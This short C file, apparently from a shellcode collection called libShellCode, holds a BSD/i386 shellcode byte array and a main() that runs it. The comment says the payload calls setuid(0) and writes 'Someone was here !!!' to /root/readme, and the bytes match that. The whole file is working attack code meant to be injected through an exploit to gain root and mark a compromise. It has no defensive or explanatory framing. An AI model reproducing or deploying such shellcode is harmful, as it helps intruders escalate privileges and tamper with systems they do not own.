/* * __ ___ _ * / \ | \ | | /\-----------------> * / /\ \| |\ \| |/ / * / /__\ \ /| / libShellCode is an ORK's project! * \______/ |\ \| | \ For comments, bug reports, etc ... *<--------|_| \_\_|\_\ contact me at orkmailkatamailcom * * * This is a BSD/i386 ShellCode that exec a setuid(0), then writes "Someone * was here !!!" to /root/readme. * */ char shellcode[]= "\xeb\x33\x5e\x31\xc0\x50\x50\xb0\x17\xcd\x80\x31\xc0\x31\xc9\x31" "\xd2\xb0\x05\x66\xb9\x0a\x02\x51\x56\x50\x88\x56\x0c\xcd\x80\x8d" "\x76\x0d\xb2\x14\x52\x56\x50\x31\xc0\xb0\x04\x50\xcd\x80\x31\xc0" "\x50\x50\x40\xcd\x80\xe8\xc8\xff\xff\xff\x2f\x72\x6f\x6f\x74\x2f" "\x72\x65\x61\x64\x6d\x65\x31\x53\x6f\x6d\x65\x6f\x6e\x65\x20\x77" "\x61\x73\x20\x68\x65\x72\x65\x20\x21\x21\x21"; main() { void (*f)(); (char *)f = shellcode; f(); }